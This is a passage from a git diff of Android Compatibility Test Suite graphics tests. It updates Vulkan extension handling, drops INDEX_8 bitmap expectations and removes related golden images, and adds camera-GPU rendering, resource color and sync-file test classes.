     VkResult result;
 
+    uint32_t available_extensions_count = 0;
+    std::vector<VkExtensionProperties> available_extensions;
+    result = vkEnumerateInstanceExtensionProperties(nullptr /* layerName */,
+            &available_extensions_count, nullptr);
+    if (result != VK_SUCCESS) {
+        ALOGE("vkEnumerateInstanceExtensionProperties failed: %d", result);
+        return result;
+    }
+    do {
+        available_extensions.resize(available_extensions_count);
+        result = vkEnumerateInstanceExtensionProperties(nullptr /* layerName */,
+                &available_extensions_count, available_extensions.data());
+        if (result < 0) {
+            ALOGE("vkEnumerateInstanceExtensionProperties failed: %d", result);
+            return result;
+        }
+    } while (result == VK_INCOMPLETE);
+    available_extensions.resize(available_extensions_count);
+
+    std::vector<const char*> enable_extensions;
+    for (auto name : kDesiredInstanceExtensions) {
+        if (std::find_if(available_extensions.cbegin(), available_extensions.cend(),
+                [name](const VkExtensionProperties& properties) {
+                    return strcmp(name, properties.extensionName) == 0;
+                })
+                != available_extensions.cend()) {
+            enable_extensions.push_back(name);
+        }
+    }
+
     const VkApplicationInfo app_info = {
         VK_STRUCTURE_TYPE_APPLICATION_INFO, nullptr,
         "VulkanFeaturesTest", 0,    /* app name, version */
@@ -48,7 +76,8 @@
         0,              /* flags */
         &app_info,
         0, nullptr,     /* layers */
-        0, nullptr,     /* extensions */
+        static_cast<uint32_t>(enable_extensions.size()),
+        enable_extensions.data(),
     };
     VkInstance instance;
     result = vkCreateInstance(&instance_info, nullptr, &instance);
@@ -74,8 +103,9 @@
 
     vkjson.assign("[\n");
     for (size_t i = 0, n = gpus.size(); i < n; i++) {
-        auto props = VkJsonGetAllProperties(gpus[i]);
-        vkjson.append(VkJsonAllPropertiesToJson(props));
+        auto props = VkJsonGetDevice(instance, gpus[i],
+                instance_info.enabledExtensionCount, instance_info.ppEnabledExtensionNames);
+        vkjson.append(VkJsonDeviceToJson(props));
         if (i < n - 1)
             vkjson.append(",\n");
     }
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png
deleted file mode 100644
index de48ed9..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png
deleted file mode 100644
index 0682813..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png
deleted file mode 100644
index 5588a5a..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png
deleted file mode 100644
index 2e77270..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
deleted file mode 100644
index b5c328b..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
deleted file mode 100644
index a755249..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_am_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png
deleted file mode 100644
index 2e77270..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_160.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
deleted file mode 100644
index d6f5cce..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_320.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png b/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
deleted file mode 100644
index 3c5f37e..0000000
--- a/tests/tests/graphics/res/drawable-nodpi/bitmap_shader_density_golden_80.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index 5454e2f..4617f62 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index ea6441a..4d6b84d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
index 54fbca7..c6540e8 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
index 40432cd..491e73e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index 06eccb8..e335a92 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index 64a6476..57f2ae3 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_density.xml b/tests/tests/graphics/res/drawable/bitmap_density.xml
deleted file mode 100644
index 5fb3611..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_density.xml
+++ /dev/null
@@ -1,19 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2016 The Android Open Source Project
-    
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-    
-          http://www.apache.org/licenses/LICENSE-2.0
-    
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
-        android:src="@drawable/bitmap_density_internal" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_density_internal.png
deleted file mode 100644
index a4add51..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml b/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml
deleted file mode 100644
index dfecfbb..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_am_density.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2016 The Android Open Source Project
-    
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-    
-          http://www.apache.org/licenses/LICENSE-2.0
-    
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
-        android:src="@drawable/bitmap_shader_density_internal"
-        android:tileModeX="repeat"
-        android:tileModeY="clamp"
-        android:autoMirrored="true" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png
deleted file mode 100644
index b6d4d89..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_am_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_density.xml b/tests/tests/graphics/res/drawable/bitmap_shader_density.xml
deleted file mode 100644
index 435b06a..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_density.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-     Copyright (C) 2016 The Android Open Source Project
-    
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-    
-          http://www.apache.org/licenses/LICENSE-2.0
-    
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<bitmap xmlns:android="http://schemas.android.com/apk/res/android"
-        android:src="@drawable/bitmap_shader_density_internal"
-        android:tileModeX="repeat"
-        android:tileModeY="clamp" />
diff --git a/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png b/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png
deleted file mode 100644
index b6d4d89..0000000
--- a/tests/tests/graphics/res/drawable/bitmap_shader_density_internal.png
+++ /dev/null
Binary files differ
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
index 9dafaca..40675853 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactoryTest.java
@@ -615,19 +615,13 @@
         verifyScaled(BitmapFactory.decodeStream(obtainInputStream(), null, scaledOpt));
     }
 
-    // Test that writing an index8 bitmap to a Parcel succeeds.
     @Test
     public void testParcel() {
-        // Turn off scaling, which would convert to an 8888 bitmap, which does not expose
-        // the bug.
         BitmapFactory.Options opts = new BitmapFactory.Options();
         opts.inScaled = false;
         Bitmap b = BitmapFactory.decodeResource(mRes, R.drawable.gif_test, opts);
         assertNotNull(b);
 
-        // index8 has no Java equivalent, so the Config will be null.
-        assertNull(b.getConfig());
-
         Parcel p = Parcel.obtain();
         b.writeToParcel(p, 0);
 
@@ -635,9 +629,6 @@
         Bitmap b2 = Bitmap.CREATOR.createFromParcel(p);
         compareBitmaps(b, b2, 0, true, true);
 
-        // When this failed previously, the bitmap was missing a colortable, resulting in a crash
-        // attempting to compress by dereferencing a null pointer. Compress to verify that we do
-        // not crash, but succeed instead.
         ByteArrayOutputStream baos = new ByteArrayOutputStream();
         assertTrue(b2.compress(Bitmap.CompressFormat.JPEG, 50, baos));
     }
@@ -665,17 +656,16 @@
         //     most natural match for the encoded data.
         // Options.inPreferredConfig = null
         //     We will decode to whichever Config is the most natural match with the
-        //     encoded data.  This could be 8-bit indices into a color table (call this
-        //     INDEX_8), ALPHA_8 (gray), or ARGB_8888.
+        //     encoded data.  This could be ALPHA_8 (gray) or ARGB_8888.
         //
         // This test ensures that images are decoded to the intended Config and that the
         // decodes match regardless of the Config.
-        decodeConfigs(R.drawable.alpha, 31, 31, true, false, false);
-        decodeConfigs(R.drawable.baseline_jpeg, 1280, 960, false, false, false);
-        decodeConfigs(R.drawable.bmp_test, 320, 240, false, false, false);
-        decodeConfigs(R.drawable.scaled2, 6, 8, false, false, true);
-        decodeConfigs(R.drawable.grayscale_jpg, 128, 128, false, true, false);
-        decodeConfigs(R.drawable.grayscale_png, 128, 128, false, true, false);
+        decodeConfigs(R.drawable.alpha, 31, 31, true, false);
+        decodeConfigs(R.drawable.baseline_jpeg, 1280, 960, false, false);
+        decodeConfigs(R.drawable.bmp_test, 320, 240, false, false);
+        decodeConfigs(R.drawable.scaled2, 6, 8, false, false);
+        decodeConfigs(R.drawable.grayscale_jpg, 128, 128, false, true);
+        decodeConfigs(R.drawable.grayscale_png, 128, 128, false, true);
     }
 
     @Test(expected=IllegalArgumentException.class)
@@ -812,8 +802,7 @@
         }
     }
 
-    private void decodeConfigs(int id, int width, int height, boolean hasAlpha, boolean isGray,
-            boolean hasColorTable) {
+    private void decodeConfigs(int id, int width, int height, boolean hasAlpha, boolean isGray) {
         Options opts = new BitmapFactory.Options();
         opts.inScaled = false;
         assertEquals(Config.ARGB_8888, opts.inPreferredConfig);
@@ -859,21 +848,15 @@
             compareBitmaps(reference, grayToARGB(alpha8), 0, true, true);
         }
 
-        // Setting inPreferredConfig to null selects the most natural color type for
-        // the encoded data.  If the image has a color table, this should be INDEX_8.
-        // If we decode to INDEX_8, the output bitmap will report that the Config is
-        // null.
+        // Setting inPreferredConfig to nullptr will cause the default Config to be
+        // selected, which in this case is ARGB_8888.
         opts.inPreferredConfig = null;
-        Bitmap index8 = BitmapFactory.decodeResource(mRes, id, opts);
-        assertNotNull(index8);
-        assertEquals(width, index8.getWidth());
-        assertEquals(height, index8.getHeight());
-        if (hasColorTable) {
-            assertEquals(null, index8.getConfig());
-            // Convert the INDEX_8 bitmap to ARGB_8888 and test that it is identical to
-            // the reference.
-            compareBitmaps(reference, index8.copy(Config.ARGB_8888, false), 0, true, true);
-        }
+        Bitmap defaultBitmap = BitmapFactory.decodeResource(mRes, id, opts);
+        assertNotNull(defaultBitmap);
+        assertEquals(width, defaultBitmap.getWidth());
+        assertEquals(height, defaultBitmap.getHeight());
+        assertEquals(Config.ARGB_8888, defaultBitmap.getConfig());
+        compareBitmaps(reference, defaultBitmap, 0, true, true);
     }
 
     private static Bitmap grayToARGB(Bitmap gray) {
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
index 42b493d..ad759bb 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapFactory_OptionsTest.java
@@ -92,7 +92,6 @@
         b = BitmapFactory.decodeResource(resources, R.drawable.bitmap_indexed, options);
         assertNull(b);
         assertEquals("image/gif", options.outMimeType);
-        assertEquals(null, options.outConfig);
 
         // Scaled, indexed bitmap
         options.inScaled = true;
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index aea201c..b863861 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -580,6 +580,17 @@
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
     }
 
+    @Test(expected = IllegalArgumentException.class)
+    public void testHardwareBitmapIn() throws IOException {
+        Options opts = new BitmapFactory.Options();
+        Bitmap bitmap = Bitmap.createBitmap(TILE_SIZE, TILE_SIZE, Config.ARGB_8888)
+                .copy(Config.HARDWARE, false);
+        opts.inBitmap = bitmap;
+        InputStream is = obtainInputStream(RES_IDS[0]);
+        BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
+        decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), opts);
+    }
+
     private void compareRegionByRegion(BitmapRegionDecoder decoder,
             Options opts, int mseMargin, Bitmap wholeImage) {
         int width = decoder.getWidth();
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java b/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java
new file mode 100644
index 0000000..7df9892
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraGpuCtsActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import android.app.Activity;
+import android.opengl.GLSurfaceView;
+import android.os.Bundle;
+import android.view.Window;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+/**
+ * An activity for testing camera output rendering.
+ */
+public class CameraGpuCtsActivity extends Activity {
+
+    static {
+        System.loadLibrary("ctsgraphics_jni");
+    }
+
+    private static final String TAG = "CameraGpuCtsActivity";
+
+    protected GLSurfaceView mView;
+    protected long mNativeRenderer;
+    private CountDownLatch mFinishedRendering;
+
+    private class Renderer implements GLSurfaceView.Renderer {
+        public void onDrawFrame(GL10 gl) {
+            if (nDrawFrame(mNativeRenderer) == 0) {
+                mFinishedRendering.countDown();
+            }
+        }
+
+        public void onSurfaceChanged(GL10 gl, int width, int height) {
+            // Do nothing.
+        }
+
+        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
+            mNativeRenderer = nCreateRenderer();
+        }
+    }
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mView = new GLSurfaceView(this);
+        mView.setEGLContextClientVersion(2);
+        mView.setRenderer(new Renderer());
+        mView.setRenderMode(GLSurfaceView.RENDERMODE_CONTINUOUSLY);
+
+        // Wait for 100 frames from camera being rendered.
+        mFinishedRendering = new CountDownLatch(100);
+
+        requestWindowFeature(Window.FEATURE_NO_TITLE);
+        setContentView(mView);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        mView.onResume();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        mView.onPause();
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        nDestroyRenderer(mNativeRenderer);
+    }
+
+    public void waitToFinishRendering() throws InterruptedException {
+        // Skip the test if there is no camera on board.
+        if (!nIsCameraReady(mNativeRenderer)) {
+            return;
+        }
+
+        // Wait long enough so that all frames are captured.
+        if (!mFinishedRendering.await(30, TimeUnit.SECONDS)) {
+            throw new IllegalStateException("Coudn't finish drawing frames!");
+        }
+    }
+
+    private static native long nCreateRenderer();
+    private static native boolean nIsCameraReady(long renderer);
+    private static native void nDestroyRenderer(long renderer);
+    private static native int nDrawFrame(long renderer);
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
new file mode 100644
index 0000000..02bfd51
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/CameraGpuTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.suitebuilder.annotation.LargeTest;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/** This test case must run with hardware. It can't be tested in emulator. */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class CameraGpuTest {
+
+    private static final String TAG = "CameraGpuTest";
+
+    @Rule
+    public ActivityTestRule<CameraGpuCtsActivity> mActivityRule =
+            new ActivityTestRule<>(CameraGpuCtsActivity.class, false, false);
+
+    @Test
+    public void testCameraImageCaptureAndRendering() throws Exception {
+        CameraGpuCtsActivity activity = mActivityRule.launchActivity(null);
+        activity.waitToFinishRendering();
+        activity.finish();
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
index 4801a1a..1e65caf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorTest.java
@@ -15,8 +15,11 @@
  */
 package android.graphics.cts;
 
+import static android.support.test.InstrumentationRegistry.getInstrumentation;
+
 import static org.junit.Assert.assertEquals;
 
+import android.content.res.Resources;
 import android.graphics.Color;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
@@ -27,6 +30,54 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class ColorTest {
+
+    @Test
+    public void resourceColor() {
+        int colors [][] = {
+                { 0xff000000, android.R.color.background_dark  },
+                { 0xffffffff, android.R.color.background_light },
+                { 0xff000000, android.R.color.black },
+                { 0xffaaaaaa, android.R.color.darker_gray },
+                { 0xff00ddff, android.R.color.holo_blue_bright },
+                { 0xff0099cc, android.R.color.holo_blue_dark },
+                { 0xff33b5e5, android.R.color.holo_blue_light },
+                { 0xff669900, android.R.color.holo_green_dark },
+                { 0xff99cc00, android.R.color.holo_green_light },
+                { 0xffff8800, android.R.color.holo_orange_dark },
+                { 0xffffbb33, android.R.color.holo_orange_light },
+                { 0xffaa66cc, android.R.color.holo_purple },
+                { 0xffcc0000, android.R.color.holo_red_dark },
+                { 0xffff4444, android.R.color.holo_red_light },
+                { 0xffffffff, android.R.color.primary_text_dark },
+                { 0xffffffff, android.R.color.primary_text_dark_nodisable },
+                { 0xff000000, android.R.color.primary_text_light },
+                { 0xff000000, android.R.color.primary_text_light_nodisable },
+                { 0xffbebebe, android.R.color.secondary_text_dark },
+                { 0xffbebebe, android.R.color.secondary_text_dark_nodisable },
+                { 0xff323232, android.R.color.secondary_text_light },
+                { 0xffbebebe, android.R.color.secondary_text_light_nodisable },
+                { 0xff808080, android.R.color.tab_indicator_text },
+                { 0xff808080, android.R.color.tertiary_text_dark },
+                { 0xff808080, android.R.color.tertiary_text_light },
+                { 0x00000000, android.R.color.transparent },
+                { 0xffffffff, android.R.color.white },
+                { 0xff000000, android.R.color.widget_edittext_dark },
+        };
+
+        Resources resources = getInstrumentation().getTargetContext().getResources();
+        for (int[] pair : colors) {
+            int value = resources.getColor(pair[1], null);
+            assertEquals("Color = " + Integer.toHexString(value) + ", "
+                            + Integer.toHexString(pair[0]) + " expected",
+                    pair[0],
+                    value);
+
+        }
+        assertEquals("Test no longer in sync with colors in android.R.color",
+                colors.length,
+                android.R.color.class.getDeclaredFields().length);
+    }
+
     @Test
     public void testAlpha() {
         assertEquals(0xff, Color.alpha(Color.RED));
diff --git a/tests/tests/graphics/src/android/graphics/cts/SyncTest.java b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
new file mode 100644
index 0000000..a82adfc
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/SyncTest.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static android.opengl.EGL14.*;
+
+import android.opengl.EGL14;
+import android.opengl.EGLConfig;
+import android.opengl.EGLContext;
+import android.opengl.EGLDisplay;
+import android.opengl.EGLSurface;
+import android.opengl.GLES20;
+import android.support.test.filters.SmallTest;
+
+import java.util.concurrent.CyclicBarrier;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.BlockJUnit4ClassRunner;
+
+
+// This class contains tests for the Linux kernel sync file system, and the NDK interfaces for it
+// (android/sync.h). Unfortunately, the interfaces exposed by the kernel make it difficult to test
+// for a couple reasons:
+//
+// (a) There isn't a standard kernel interface for creating a fence/sync_file. Drivers can create
+//     them via driver-specific interfaces. Currently this means we have to use APIs like OpenGL ES
+//     or interact with the system compositor in order to generate fences. That makes tests larger
+//     and more complicated than they otherwise need to be.
+//
+//     This is further complicated by the fact that most of the time GPU work executes in the order
+//     it was submitted to the kernel; there isn't much out-of-order execution in practice. So
+//     detecting some kinds of bugs is difficult using only the GPU as an event source.
+//
+// (b) A core principal of sync files is that they cannot be created until the work that will
+//     signal them has been submitted to the kernel, and will complete without further action from
+//     userland. This means that it is impossible to reliably do something before a sync file has
+//     signaled.
+
+@SmallTest
+@RunWith(BlockJUnit4ClassRunner.class)
+public class SyncTest {
+
+    static {
+        System.loadLibrary("ctsgraphics_jni");
+    }
+
+    private static final String TAG = SyncTest.class.getSimpleName();
+    private static final boolean DEBUG = false;
+
+    private EGLDisplay mEglDisplay = EGL_NO_DISPLAY;
+    private EGLConfig mEglConfig = null;
+
+    @Before
+    public void setup() throws Throwable {
+        mEglDisplay = EGL14.eglGetDisplay(EGL_DEFAULT_DISPLAY);
+        if (mEglDisplay == EGL_NO_DISPLAY) {
+            throw new RuntimeException("no EGL display");
+        }
+        int[] major = new int[1];
+        int[] minor = new int[1];
+        if (!EGL14.eglInitialize(mEglDisplay, major, 0, minor, 0)) {
+            throw new RuntimeException("error in eglInitialize");
+        }
+
+        int[] numConfigs = new int[1];
+        EGLConfig[] configs = new EGLConfig[1];
+        if (!EGL14.eglChooseConfig(mEglDisplay,
+                new int[] {
+                    EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+                    EGL_SURFACE_TYPE, EGL_PBUFFER_BIT,
+                    EGL_BUFFER_SIZE, 32,
+                    EGL_NONE},
+                0, configs, 0, 1, numConfigs, 0)) {
+            throw new RuntimeException("eglChooseConfig failed");
+        }
+        mEglConfig = configs[0];
+    }
+
+    @After
+    public void teardown() throws Throwable {
+        EGL14.eglTerminate(mEglDisplay);
+    }
+
+    @Test
+    public void testMergedSyncSignalOrder() {
+        // TODO
+    }
+
+    private static final int STATUS_UNSIGNALED = 0;
+    private static final int STATUS_SIGNALED = 1;
+    private static final int STATUS_ERROR = -1;
+    private static class SyncFileInfo {
+        String name;            // char name[32]
+        int status;             // __s32 status
+        long flags;             // __u32 flags
+        SyncFenceInfo[] fences; // __u32 num_fences; __u64 sync_fence_info
+    }
+    private static class SyncFenceInfo {
+        String name;            // char obj_name[32]
+        String driver_name;     // char driver_name[32]
+        int status;             // __s32 status
+        long flags;             // __u32 flags
+        long timestamp_ns;      // __u64 timestamp_ns
+    }
+
+    private static native boolean nSyncPoll(int[] fds, int[] status);
+    private static native int nSyncMerge(String name, int fd1, int fd2);
+    private static native SyncFileInfo nSyncFileInfo(int fd);
+    private static native void nSyncClose(int fd);
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index 5448b119..31f83bf 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -36,6 +36,7 @@
 import org.junit.runner.RunWith;
 
 import java.io.UnsupportedEncodingException;
+import com.android.compatibility.common.util.CddTest;
 
 /**
  * Test that the Vulkan loader is present, supports the required extensions, and that system
@@ -89,7 +90,7 @@
 
         mVulkanDevices = getVulkanDevices();
     }
-
+    @CddTest(requirement="7.1.4.2/C-1-1,C-2-1")
     @Test
     public void testVulkanHardwareFeatures() throws JSONException {
         if (DEBUG) {
@@ -171,11 +172,12 @@
         } else {
             assertEquals("System feature " + PackageManager.FEATURE_VULKAN_HARDWARE_COMPUTE +
                 " version " + mVulkanHardwareCompute.version +
-                " doesn't match best physical device hardware compute " + bestComputeLevel,
+                " doesn't match best physical device (version: " + bestComputeLevel + ")",
